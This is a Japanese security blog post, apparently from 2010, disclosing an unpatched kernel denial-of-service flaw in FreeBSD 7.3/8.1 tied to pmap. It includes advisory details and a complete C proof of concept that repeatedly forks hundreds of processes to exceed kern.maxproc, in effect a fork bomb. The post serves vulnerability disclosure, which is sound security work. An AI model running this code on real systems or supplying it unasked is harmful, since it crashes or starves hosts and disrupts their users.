土曜日, 9月 11, 2010

【zeroday】FreeBSDのvm.pmapのカーネルDoS問題


本件のセキュリティ問題について下記のOSに影響があります↓
FreeBSD 7.3/8.1

問題の説明↓
pmapのオバーフローの作戦で、FreeBSDのカーネルDoS状況を作れます。基本的にはkern.maxprocの数字よりももっと沢山プロセスを作ったらFreeBSDカーネルDoS状況になる可能性が高いです。
本問題について未だパッチが出ない状況ですので現在はゼロデイ状況となりました。

追加情報↓
Class: Design Flaws
CVE: -
Remote: Yes (SSH access required)
Local: Yes
Reported: Jul 9 2010
Published: Sep 7 2010
Updated: Sep 10 2010 02:44PM
Checked: Sep 11 2010 13:22PM JST
Credit: Maksymilian Arciemowicz

再現仕方↓
リモート側からですとsshアクセスが必要(root権限が要りません)
下記再現コード/PoC

/*
FreeBSD 7.3/8.1 pmap race condition PoC
Credit: Maksymilian Arciemowicz
*/
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

void newproc(){
again:
fork();
sleep(3600*24);
goto again;
}

void runfork(){
pid_t adr;
if(0!=(adr=fork())) printf("fork not zero\n");
else {
printf("fork zero\n");
newproc();
}
}

int main(){

int secdel=5;
int dev;

// clock with (int)secdel secound frequency
while(1){
printf("sleep %i sec\n",secdel);
sleep(secdel);
printf("weak up\n");

// create 512 processes
dev=512;
while(dev--)
runfork();
}
return 0;
}


リファレンス↓
http://securityreason.com/achievement_securityalert/88

---
http://0day.jp
ゼロデイ・リサーチチーム
アドリアン・ヘンドリック

0 件のコメント:

コメントを投稿